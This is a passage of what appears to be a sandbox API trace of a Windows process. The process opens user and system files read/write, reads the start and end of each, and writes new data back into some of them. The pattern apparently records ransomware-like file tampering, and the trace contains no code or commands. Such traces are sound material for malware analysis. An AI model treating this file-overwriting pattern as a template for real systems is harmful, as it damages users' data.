(hMutex=0x128) returned 1 [0053.734] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.POWERPNT.14.1033.hxn", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0053.734] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.POWERPNT.14.1033.hxn", cchWideChar=23, lpMultiByteStr=0x1e78974, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.POWERPNT.14.1033.hxn", lpUsedDefaultChar=0x0) returned 23 [0053.734] ReadFile (in: hFile=0x1cc, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6e0, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x318f2bc*=0x6e0, lpOverlapped=0x0) returned 1 [0053.734] CloseHandle (hObject=0x1cc) returned 1 [0053.734] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0053.734] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.735] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x6da [0053.735] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.735] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.735] ReleaseMutex (hMutex=0x128) returned 1 [0053.735] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.WINWORD.14.1033.hxn", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0053.735] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.WINWORD.14.1033.hxn", cchWideChar=22, lpMultiByteStr=0x1e78974, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.WINWORD.14.1033.hxn", lpUsedDefaultChar=0x0) returned 22 [0053.735] ReadFile (in: hFile=0x1cc, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6da, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x318f2bc*=0x6da, lpOverlapped=0x0) returned 1 [0053.735] CloseHandle (hObject=0x1cc) returned 1 [0053.735] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0053.735] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.735] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x25588 [0053.735] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.735] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.735] ReleaseMutex (hMutex=0x128) returned 1 [0053.735] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeAdditional_x64.msi", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0053.735] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeAdditional_x64.msi", cchWideChar=28, lpMultiByteStr=0x1e7fd2c, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vc_runtimeAdditional_x64.msi", lpUsedDefaultChar=0x0) returned 28 [0053.735] ReadFile (in: hFile=0x1cc, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0053.735] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x24588 [0053.736] ReadFile (in: hFile=0x1cc, lpBuffer=0x1dabed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.736] CloseHandle (hObject=0x1cc) returned 1 [0053.736] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0053.736] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.736] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x23588 [0053.736] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.736] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.736] ReleaseMutex (hMutex=0x128) returned 1 [0053.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeAdditional_x64.msi", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0053.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeAdditional_x64.msi", cchWideChar=28, lpMultiByteStr=0x1e7fd2c, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vc_runtimeAdditional_x64.msi", lpUsedDefaultChar=0x0) returned 28 [0053.736] ReadFile (in: hFile=0x1cc, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0053.736] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x22588 [0053.736] ReadFile (in: hFile=0x1cc, lpBuffer=0x1dabed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.736] CloseHandle (hObject=0x1cc) returned 1 [0053.736] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0053.737] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.737] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x25588 [0053.737] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.737] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.737] ReleaseMutex (hMutex=0x128) returned 1 [0053.737] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeMinimum_x64.msi", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0053.737] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeMinimum_x64.msi", cchWideChar=25, lpMultiByteStr=0x1e7fd2c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vc_runtimeMinimum_x64.msi", lpUsedDefaultChar=0x0) returned 25 [0053.737] ReadFile (in: hFile=0x1cc, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0053.737] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x24588 [0053.737] ReadFile (in: hFile=0x1cc, lpBuffer=0x1dabed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.737] CloseHandle (hObject=0x1cc) returned 1 [0053.737] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0053.737] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.737] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x23588 [0053.738] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.738] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.738] ReleaseMutex (hMutex=0x128) returned 1 [0053.738] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeAdditional_x86.msi", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0053.738] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeAdditional_x86.msi", cchWideChar=28, lpMultiByteStr=0x1e7fd2c, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vc_runtimeAdditional_x86.msi", lpUsedDefaultChar=0x0) returned 28 [0053.738] ReadFile (in: hFile=0x1cc, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0053.738] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x22588 [0053.738] ReadFile (in: hFile=0x1cc, lpBuffer=0x1dabed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.738] CloseHandle (hObject=0x1cc) returned 1 [0053.738] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0053.741] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.742] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x8000 [0053.742] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.742] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.742] ReleaseMutex (hMutex=0x128) returned 1 [0053.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="index.dat", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0053.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="index.dat", cchWideChar=9, lpMultiByteStr=0x1e630cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="index.dat", lpUsedDefaultChar=0x0) returned 9 [0053.742] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dabed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.743] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x7000 [0053.744] ReadFile (in: hFile=0x1ac, lpBuffer=0x26156a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x26156a8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.744] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x7000 [0053.745] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.745] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0053.745] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0053.745] CloseHandle (hObject=0x1ac) returned 1 [0053.745] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0053.746] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.746] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x410 [0053.746] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.746] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.746] ReleaseMutex (hMutex=0x128) returned 1 [0053.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="07_TV_recorded_in_the_last_week.wpl", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0053.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="07_TV_recorded_in_the_last_week.wpl", cchWideChar=35, lpMultiByteStr=0x1eb2244, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="07_TV_recorded_in_the_last_week.wpl", lpUsedDefaultChar=0x0) returned 35 [0053.746] ReadFile (in: hFile=0x1ac, lpBuffer=0x2613698, nNumberOfBytesToRead=0x410, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2613698*, lpNumberOfBytesRead=0x318f2bc*=0x410, lpOverlapped=0x0) returned 1 [0053.747] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0053.747] WriteFile (in: hFile=0x1ac, lpBuffer=0x27f5ce8*, nNumberOfBytesToWrite=0x998, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27f5ce8*, lpNumberOfBytesWritten=0x318f2d0*=0x998, lpOverlapped=0x0) returned 1 [0053.748] CloseHandle (hObject=0x1ac) returned 1 [0053.748] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.pat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.pat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0053.749] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.749] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x4000 [0053.749] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.749] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.749] ReleaseMutex (hMutex=0x128) returned 1 [0053.749] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMail.pat", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0053.749] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMail.pat", cchWideChar=15, lpMultiByteStr=0x1e6324c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMail.pat", lpUsedDefaultChar=0x0) returned 15 [0053.749] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dabed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.750] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x3000 [0053.750] ReadFile (in: hFile=0x1ac, lpBuffer=0x26156a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x26156a8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.751] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x3000 [0053.751] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.751] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0053.751] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0053.751] CloseHandle (hObject=0x1ac) returned 1 [0053.751] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0053.752] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.752] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xe8 [0053.752] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.752] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.752] ReleaseMutex (hMutex=0x128) returned 1 [0053.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Peacock.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0053.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Peacock.htm", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Peacock.htm", lpUsedDefaultChar=0x0) returned 11 [0053.752] ReadFile (in: hFile=0x1ac, lpBuffer=0x2737d58, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737d58*, lpNumberOfBytesRead=0x318f2bc*=0xe8, lpOverlapped=0x0) returned 1 [0053.753] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0053.753] WriteFile (in: hFile=0x1ac, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x670, lpOverlapped=0x0) returned 1 [0053.753] CloseHandle (hObject=0x1ac) returned 1 [0053.753] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\94308059b57b3142e455b38a6eb92015"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0053.754] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.754] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x130 [0053.754] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.754] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.754] 